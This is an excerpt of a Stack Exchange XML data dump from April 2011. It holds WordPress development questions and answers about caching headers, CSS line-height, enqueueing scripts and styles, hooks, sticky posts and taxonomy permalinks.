  <row Id="14057" PostTypeId="2" ParentId="11444" CreationDate="2011-04-06T08:13:11.203" Score="0" ViewCount="" Body="&lt;p&gt;Sounds like your expires headers are set to far in the future. &lt;del&gt; The following rules can be added to your .htaccess &lt;/del&gt; Expires rules can be added to your Nginx server file to shorten the expires time down to 180 seconds.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;location ~* \/[^\/]+\/(feed|\.xml|.html|.HTML)\/? {&#xA;&#xA;               expires 180;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would also suggest installing the &lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/nginx-proxy-cache-integrator/&quot; rel=&quot;nofollow&quot;&gt;Nginx Proxy Cache Integrator plugin&lt;/a&gt;&lt;/strong&gt; to control the Nginx static file proxy cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another plugin that is similar is &lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/nginx-proxy-cache-purge/&quot; rel=&quot;nofollow&quot;&gt;Nginx Proxy Cache Purge&lt;/a&gt;&lt;/strong&gt; that purges the proxy cache anytime you update your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem your having is NOT being caused by WordPress.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-06T08:13:11.203" />
  <row Id="14058" PostTypeId="1" CreationDate="2011-04-06T08:18:41.597" Score="0" ViewCount="122" Body="&lt;p&gt;So whenever I set the page line-height at 22px, the page looks fine with a 13px font.&#xA;But when I insert for example a sentence in a 24pt, or 36pt (xx-large in wordpress font-size drop-down menu), the sentence looks so compact, squeezed together vertically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The remedy I only found was to insert style=&quot;line-height:normal&quot; in the sentence &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to automate this, like all fonts larger than 22px should have line-height = normal? Is there a way to do this in css?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="3305" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-06T08:59:19.347" LastActivityDate="2011-04-06T09:34:45.437" ClosedDate="2011-04-06T09:48:11.943" Title="Fixing line-height for big fonts sizes?" Tags="&lt;css&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="14059" PostTypeId="1" AcceptedAnswerId="14077" CreationDate="2011-04-06T08:44:03.863" Score="0" ViewCount="211" Body="&lt;p&gt;I tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function my_wp_admin_css() {&#xA;  echo '&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/wp-content/plugins/custom-admin-style/wp-admin.css&quot; type=&quot;text/css&quot; /&amp;gt;';&#xA;}&#xA;&#xA;add_action('wp_admin_css','my_wp_admin_css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but nothing is being displayed in the Wordpress admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-04-06T13:19:31.407" Title="Can't call external stylesheet for Wordpress admin (using wp_admin_css)?" Tags="&lt;wp-admin&gt;&lt;css&gt;" AnswerCount="1" />
  <row Id="14060" PostTypeId="1" CreationDate="2011-04-06T08:49:14.183" Score="0" ViewCount="94" Body="&lt;p&gt;I used a plugin called &quot;User Role Editor&quot; to allow contributors to add categories, but it also lets them delete categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="4088" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-05T15:56:36.113" LastActivityDate="2011-09-03T17:40:57.490" Title="Allow contributors to add categories, but not delete" Tags="&lt;categories&gt;&lt;users&gt;&lt;roles&gt;&lt;plugin-user-role-editor&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14062" PostTypeId="2" ParentId="14060" CreationDate="2011-04-06T09:01:34.317" Score="0" ViewCount="" Body="&lt;p&gt;You could try the Members Plugin Seems to always do the job for me &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/members/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-04-06T09:01:34.317" />
  <row Id="14063" PostTypeId="1" AcceptedAnswerId="14074" CreationDate="2011-04-06T09:04:23.510" Score="3" ViewCount="377" Body="&lt;p&gt;Conditionally Including scripts whether js or css in xhtml document head...has been a generally tricky affair, especially if you want to enqueue something, based on a shortcode or custom meta field or a widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know that you need your script for sure,you would just do what the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;Wordpress Codex&lt;/a&gt;  suggest by using wp_enqueue_script with following hooks, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* init&#xA;* template_redirect&#xA;* admin_print_scripts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But sometimes you require a more nuance inclusion of a script or stylesheet. Script inclusions based on shortcodes for example.  The issue with shortcodes is that you couldn't really tell if a shortcode has been used, unless you apply strpos() on the content. The reason for this is because, the 'init' + 'template_redirect' + 'admin_print_scripts' hooks fire before the WP_Query object is set, i believe. So it can get tricky for conditionally including scripts for shortcodes and other triggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To circumvent this, you can use strpos() with 'the_posts' hook, which gets fired before wp_head. But one of the drawbacks is that its an extra pass at the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Discussed at &lt;a href=&quot;http://beerpla.net/2010/01/13/wordpress-plugin-development-how-to-include-css-and-javascript-conditionally-and-only-when-needed-by-the-posts/&quot; rel=&quot;nofollow&quot;&gt;http://beerpla.net/2010/01/13/wordpress-plugin-development-how-to-include-css-and-javascript-conditionally-and-only-when-needed-by-the-posts/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, i havn't seen examples of this enqueue scripts with this hook being able inject js or css in the head of the document&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scribu suggest, using a flag variable, and sending it to the footer, &lt;a href=&quot;http://scribu.net/wordpress/optimal-script-loading.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/optimal-script-loading.html&lt;/a&gt; ...but that's not feasible for css style sheets that should be included in the head portion of the document&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been pondering the best compromise,and wanted to know your thoughts.&#xA;basically, my hook of choice is wp_head, because i have access to the WP_Query object, in case i need to search for the shortcode, or use a conditional tag, or even widget usage detection.  If i know that i need to inject css or js, then i can just recall the wp_print_scripts() function, after figuring out if the page needs my js or css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a framework for script inclusion on WP 3.1...i've used it successfully for js inclusion. Havn't tried it for CSS yet, but i suspect it will work the same.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;wp_head&quot;,&quot;add_conditional_scripts&quot;, 20);&#xA;function add_conditional_scripts() {&#xA;   global $posts, $wp_scripts;&#xA;&#xA;    foreach ($posts as $post) { &#xA;        if ( condition_gets_met == true ) : &#xA;            wp_enqueue_script( &quot;scripthandle&quot; , get_home_url().'/js/scriptfilename.js, array('jcycle'), '1.0', true);   // This will add to the $wp_scripts variable&#xA;        endif;&#xA;    }&#xA;&#xA;   wp_print_scripts(); // This uses the $wp_script object, will print, out the newly enqueue script&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the *condition_gets_met is a stand in for strpos check or a conditional tag, or custom_meta_field check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any feed back or criticisms of doing it this way would be great. &lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-04-06T12:10:03.607" Title="Is this a bad implementation of wp_enqueue_script for conditional usage?" Tags="&lt;wp-enqueue-script&gt;" AnswerCount="2" />
  <row Id="14064" PostTypeId="2" ParentId="14058" CreationDate="2011-04-06T09:34:45.437" Score="0" ViewCount="" Body="&lt;p&gt;Always use &lt;a href=&quot;http://meyerweb.com/eric/thoughts/2006/02/08/unitless-line-heights/&quot; rel=&quot;nofollow&quot;&gt;unitless values&lt;/a&gt; for &lt;code&gt;line-height&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wrong&lt;/strong&gt;&lt;br&gt;&#xA;Fails for users with a minimum font-size of 22px.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;font-size:   14px;&#xA;line-height: 21px;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Slightly Better&lt;/strong&gt;&lt;br&gt;&#xA;Fails for elements with smaller sized parents.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;font-size:   14px;&#xA;line-height: 150%;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Much Better&lt;/strong&gt;&lt;br&gt;&#xA;At least the basic readability is preserved for users with a minimum font-size above 14px.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;font-size:   14px;&#xA;line-height: 1.5;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Best&lt;/strong&gt;&lt;br&gt;&#xA;No one has to use the zoom tool. You have to test just one setting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;font-size:   1em;&#xA;line-height: 1.5;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Questions about &lt;a href=&quot;http://stackoverflow.com/questions/tagged/html&quot;&gt;HTML&lt;/a&gt; and &lt;a href=&quot;http://stackoverflow.com/questions/tagged/css&quot;&gt;CSS&lt;/a&gt; belong to &lt;a href=&quot;http://stackoverflow.com/&quot;&gt;stackoverflow.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-06T09:34:45.437" />
  <row Id="14065" PostTypeId="1" AcceptedAnswerId="14091" CreationDate="2011-04-06T09:53:28.447" Score="0" ViewCount="195" Body="&lt;p&gt;I am trying to save my meta box, I have something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function xxx_meta_box_callback() {&#xA;    add_meta_box('xxx-meta', 'xxx Details', 'xxx_meta_box', 'xxx-post-type', 'side', 'default');&#xA;    add_action('save_post', 'xxx_save_meta_box');&#xA;    error_log('meta box cb');&#xA;}&#xA;&#xA;function xxx_save_meta_box($post_id, $post) {&#xA;    error_log('running ...');&#xA;    die('OK!!!');&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am getting &quot;meta box cb&quot; ok in my error log, but &lt;code&gt;xxx_save_meta_box()&lt;/code&gt; does not seem to run. Why is that?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-04-06T15:40:09.283" Title="Why is save_post hook not running?" Tags="&lt;metabox&gt;&lt;hooks&gt;&lt;troubleshooting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" />
  <row Id="14066" PostTypeId="1" AcceptedAnswerId="16583" CreationDate="2011-04-06T10:08:33.910" Score="3" ViewCount="352" Body="&lt;p&gt;I'd like to be able to show sticky posts at the top of category pages. I'm using archive.php for my category page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the code below to display sticky posts at the top of my category archive page followed by the rest of the posts within that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine, until there are no sticky posts to display within the category and then it duplicates the posts list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;// get the current category&#xA;$category = get_the_category();&#xA;// get the sticky post in the category, order by title - ascending&#xA;query_posts(array( 'post__in' =&amp;gt; get_option('sticky_posts'), 'orderby' =&amp;gt; 'title', 'post_date' =&amp;gt; 'DESC' , 'cat' =&amp;gt; ''.$category[0]-&amp;gt;cat_ID.'' ));&#xA;?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&amp;lt;?php&#xA;if ($cat)&#xA;{echo &quot;&amp;lt;h2&amp;gt;Articles in &quot; . get_the_category_by_ID($cat) . &quot;&amp;lt;/h2&amp;gt;&quot;;}&#xA;?&amp;gt;&#xA;    &amp;lt;ul id=&quot;archive-list&quot;&amp;gt;      &#xA;    &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;             &#xA;        &amp;lt;li class=&quot;sticky&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;span&amp;gt;Updated on &amp;lt;?php the_modified_date(); ?&amp;gt; at &amp;lt;?php the_modified_time() ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;   &#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php   &#xA;// get the sticky post in the category, order by title - ascending&#xA;query_posts(array( 'post__not_in' =&amp;gt; get_option('sticky_posts'), 'orderby' =&amp;gt; 'title', 'post_date' =&amp;gt; 'DESC' , 'cat' =&amp;gt; ''.$category[0]-&amp;gt;cat_ID.'' ) );&#xA;?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;    &amp;lt;ul id=&quot;archive-list&quot;&amp;gt;      &#xA;    &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;             &#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;span&amp;gt;Updated on &amp;lt;?php the_modified_date(); ?&amp;gt; at &amp;lt;?php the_modified_time() ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;   &#xA;&#xA;&amp;lt;?php if(function_exists('wp_page_numbers')) { wp_page_numbers(); } ?&amp;gt;&#xA;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;        &amp;lt;h1 class=&quot;center&quot;&amp;gt;Sorry, no articles have been published in the &amp;lt;?php if ($cat) {echo &quot;&quot; . get_the_category_by_ID($cat) . &quot;&quot;;} ?&amp;gt; category.&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;?php include (TEMPLATEPATH . '/searchform.php'); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated! &#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4288" LastActivityDate="2011-05-06T16:34:05.733" Title="Show Sticky Posts in Category Archive" Tags="&lt;sticky-post&gt;&lt;categories&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="14067" PostTypeId="2" ParentId="14066" CreationDate="2011-04-06T10:14:14.047" Score="1" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;wp_reset_query()&lt;/code&gt; after &lt;code&gt;query_posts()&lt;/code&gt;. We have &lt;a href=&quot;http://wordpress.stackexchange.com/search?q=wp_reset_query&quot;&gt;lots of posts&lt;/a&gt; on this. ;)&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-06T11:13:13.447" LastActivityDate="2011-04-06T11:13:13.447" CommentCount="3" />
  <row Id="14068" PostTypeId="1" CreationDate="2011-04-06T10:19:29.273" Score="0" ViewCount="93" Body="&lt;p&gt;I need to write a dynamic shortcode. The original says: &#xA;[... width=&quot;940&quot; height=&quot;200&quot; ...]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to have this: &#xA;[... width=&quot;&lt;code&gt;&amp;lt;php&amp;gt;&lt;/code&gt;&quot; height=&quot;&lt;code&gt;&amp;lt;php&amp;gt;&lt;/code&gt;&quot; ...]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get this to happen??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Floyd&lt;/p&gt;&#xA;" OwnerUserId="4479" LastActivityDate="2011-04-06T10:23:52.973" Title="Dynamic number within shortcode" Tags="&lt;shortcode&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14069" PostTypeId="2" ParentId="14068" CreationDate="2011-04-06T10:23:52.973" Score="1" ViewCount="" Body="&lt;p&gt;Shortcodes are plain text wrapper made exactly for cases when PHP code is not available or should not be used.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can concatenate that to string and evaluate it with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;do_shortcode()&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You can look up function that powers shortcode (set up with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_shortcode&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_shortcode()&lt;/code&gt;&lt;/a&gt;) and use it in PHP code directly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-06T10:23:52.973" CommentCount="2" />
  <row Id="14070" PostTypeId="2" ParentId="14063" CreationDate="2011-04-06T10:41:06.897" Score="0" ViewCount="" Body="&lt;p&gt;For such stuff there is &lt;code&gt;wp_enqueue_scripts&lt;/code&gt; action that fires early (priority 1) inside &lt;code&gt;wp_head&lt;/code&gt; . It is late enough for any conditions you might need to work, but earlier than scripts/styles queue output.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-06T10:41:06.897" CommentCount="4" />
  <row Id="14071" PostTypeId="1" AcceptedAnswerId="14085" CreationDate="2011-04-06T10:55:22.850" Score="-1" ViewCount="555" Body="&lt;p&gt;I need to add a widget to the sidebar that shows post titles sorted by year ie:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2011&lt;/p&gt;&#xA;&#xA;&lt;p&gt;POST TITLE 1&#xA;POST TITLE 2&#xA;POST TITLE 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2010&lt;/p&gt;&#xA;&#xA;&lt;p&gt;POST TITLE 1&#xA;POST TITLE 2&#xA;POST TITLE 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of using the Archive widget to do this, but I dont know how to add the display post title bit and then have the YEAR display as a type of heading for all the posts under that year. This might not be the best way to go...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts or feedback would be greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="4179" LastActivityDate="2011-04-06T14:49:06.167" Title="Archive Widget - Show selected Category Post title. Sorted by Year" Tags="&lt;sidebar&gt;&lt;archive&gt;&lt;wp-get-archives&gt;" AnswerCount="1" />
  <row Id="14072" PostTypeId="2" ParentId="14053" CreationDate="2011-04-06T11:04:06.630" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wpweaver.info/themes/weaver/&quot; rel=&quot;nofollow&quot;&gt;http://wpweaver.info/themes/weaver/&lt;/a&gt; - this theme has push button customizations for twentyten as well as a bunch of child themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally one of the nicer twentyten child themes is - &lt;a href=&quot;http://www.wpbeginner.com/free-wordpress-themes/speaky-a-free-twenty-ten-child-theme-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpbeginner.com/free-wordpress-themes/speaky-a-free-twenty-ten-child-theme-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4481" LastActivityDate="2011-04-06T11:04:06.630" />
  <row Id="14073" PostTypeId="2" ParentId="14008" CreationDate="2011-04-06T11:23:19.573" Score="0" ViewCount="" Body="&lt;p&gt;Seems like I was able to find a (temporary) solution. I activated the mobile smart plugin. Then, I made the child theme to a parent theme, meaning the child theme is now a separate theme that will be used as the mobile theme, and added the custom post types used in the main theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution could be adding custom post data from the SQL database to the post query in the mobile theme. Works fine with custom fields. Just need to figure out how to add the custom post categories to the query. &lt;/p&gt;&#xA;" OwnerUserId="2650" LastActivityDate="2011-04-06T11:23:19.573" />
  <row Id="14074" PostTypeId="2" ParentId="14063" CreationDate="2011-04-06T11:55:34.630" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;To circumvent this, you can use &lt;code&gt;strpos()&lt;/code&gt; with &lt;code&gt;the_posts&lt;/code&gt; hook, which gets fired before wp_head. But one of the drawbacks is that its an extra pass at the data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You're essentially doing the same inside the callback you're hooking onto &lt;code&gt;wp_head&lt;/code&gt;, i don't see the difference.. (please clarify if you think otherwise)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether you hook onto &lt;code&gt;the_posts&lt;/code&gt; or &lt;code&gt;wp_head&lt;/code&gt; you're still iterating over the &lt;strong&gt;same&lt;/strong&gt; array data, ie. &lt;code&gt;$posts&lt;/code&gt;..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally don't see the issue with setting a flag inside the &lt;code&gt;the_posts&lt;/code&gt; hook and if there's a concern that the hook may get called multiple times, simply check for the flag at the start of the callback and return if it's already set(ensuring only one iteration over that array).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm actually using this approach in a plugin i'm waiting to release, and i also realised the method Scribu posted about doesn't really work when you're using CSS, which can't go in the foot. Scribu mentioned possibly injecting CSS into the head with JS, but i personally find that somewhat hacky(my personal opinion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a function hooked onto &lt;code&gt;the_posts&lt;/code&gt; which goes like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function on_the_posts( $posts ) {&#xA;&#xA;    if( empty( $posts ) || $this-&amp;gt;has_tabs )&#xA;        return $posts;&#xA;&#xA;    // trimmed code not relevant to the example&#xA;&#xA;    foreach( $posts as $post ) {&#xA;        if( !stripos( $post-&amp;gt;post_content, '[end_tabset]' ) )&#xA;            continue;&#xA;        $this-&amp;gt;has_tabs = true;&#xA;    }&#xA;&#xA;    return $posts;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would this be any different inside a callback on &lt;code&gt;wp_head&lt;/code&gt;, i'm still going to need to iterate over &lt;code&gt;$posts&lt;/code&gt; aren't i?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this a bad implementation of wp_enqueue_script for conditional usage?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, i don't think so personally.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-06T12:10:03.607" LastActivityDate="2011-04-06T12:10:03.607" CommentCount="1" />
  <row Id="14075" PostTypeId="2" ParentId="14053" CreationDate="2011-04-06T12:22:05.060" Score="1" ViewCount="" Body="&lt;p&gt;My &lt;a href=&quot;http://voodoopress.com&quot; rel=&quot;nofollow&quot;&gt;VoodooPress&lt;/a&gt; site is a twentyten child theme. Has some pretty cool functions going on behind the scenes. But pretty much every post on the site is about things to do with a twenty ten child theme. For instance, the things you ask about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://voodoopress.com/2011/04/woking-with-featured-image-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Working with thumbnails&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://voodoopress.com/2011/03/add-image-size-in-a-twenty-ten-child-theme/&quot; rel=&quot;nofollow&quot;&gt;Adding image sizes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc. Hopefully you can find some help on there!&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-06T12:22:05.060" />
  <row Id="14076" PostTypeId="2" ParentId="13798" CreationDate="2011-04-06T12:40:17.307" Score="3" ViewCount="" Body="&lt;p&gt;You could just run your filter before that nasty &lt;code&gt;wpautop&lt;/code&gt; hooks on and messes with the markup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'qanda', 7 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way, you've already converted what you need to by the time it hooks on, which does help in some cases.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-06T12:40:17.307" />
  <row Id="14077" PostTypeId="2" ParentId="14059" CreationDate="2011-04-06T13:03:19.517" Score="1" ViewCount="" Body="&lt;p&gt;You need to use &lt;code&gt;wp_enqueue_style&lt;/code&gt; and hook it into &lt;code&gt;admin_print_styles&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_styles' , 'my_wp_admin_css' );&#xA;&#xA;function my_wp_admin_css() {&#xA;&#xA;      wp_enqueue_style('my_admin_style' , WP_PLUGIN_URL . '/myPlugin/stylesheet.css' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you just want the stylesheet on your plugins page you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mypage = add_management_page( 'myplugin', 'myplugin', 9, __FILE__, 'myplugin_admin_page' );&#xA;add_action( &quot;admin_print_styles-$mypage&quot;, 'myplugin_admin_head' );&#xA; &#xA;function myplugin_admin_head() {&#xA;    // what your plugin needs in its &amp;lt;head&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-06T13:19:31.407" LastActivityDate="2011-04-06T13:19:31.407" />
  <row Id="14078" PostTypeId="1" CreationDate="2011-04-06T13:10:15.033" Score="1" ViewCount="123" Body="&lt;p&gt;Is it possible to have 2 separate upload directories? One in which the resized images are created/stored and another to where full size original images are uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would let you use the path to the resized images in your templates thus keeping the path to original full size images hidden from public view (but in a location such that they could still be used to regenerate thumbnails/new image sizes etc).&lt;/p&gt;&#xA;" OwnerUserId="4316" LastActivityDate="2011-06-06T05:58:09.950" Title="more than one upload directory?" Tags="&lt;uploads&gt;&lt;directories&gt;&lt;media-upload&gt;" AnswerCount="1" />
  <row Id="14079" PostTypeId="1" CreationDate="2011-04-06T13:12:00.897" Score="0" ViewCount="117" Body="&lt;p&gt;I have set up a custom post type called &quot;Portfolio&quot;. I have asigned this custom post type 2 taxonomies, &quot;Clients&quot; &amp;amp; &quot;Service&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The portfolio homepage URL is as follows: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;www.domain.co.uk/portfolio/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The portfolio single page is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;www.domain.co.uk/portfolio/project-name/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The clients and services though are as follows (client eg):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;www.domain.co.uk/client/client-name/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like this URL to be as this if possible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;www.domain.co.uk/portfolio/client-name/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change the slug for this it completely ruins all my other links. Has anyone any ideas on how to make my custom taxonomy permalinks look like this?&lt;/p&gt;&#xA;" OwnerUserId="4482" LastActivityDate="2011-04-06T13:12:00.897" Title="Custom taxonomy permalinks and custom post types" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;3.1&gt;" CommentCount="3" FavoriteCount="1" />
  <row Id="14080" PostTypeId="1" CreationDate="2011-04-06T13:32:42.330" Score="0" ViewCount="119" Body="&lt;p&gt;Is there any way to specify a time period for wp_dropdown_categories or wp_list_categories or something else...? I want to create a archive page, so that if your in the archive of 2010, you'll see only the categories wich were used in 2010.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;do i have to write a custom function for this one? if yes, any suggestion where start?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tnx for any kind of answer!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;kris&lt;/p&gt;&#xA;" OwnerUserId="4344" LastActivityDate="2011-04-06T16:35:59.667" Title="wp_dropdown_categories by date?" Tags="&lt;date-time&gt;&lt;categories&gt;" AnswerCount="1" />
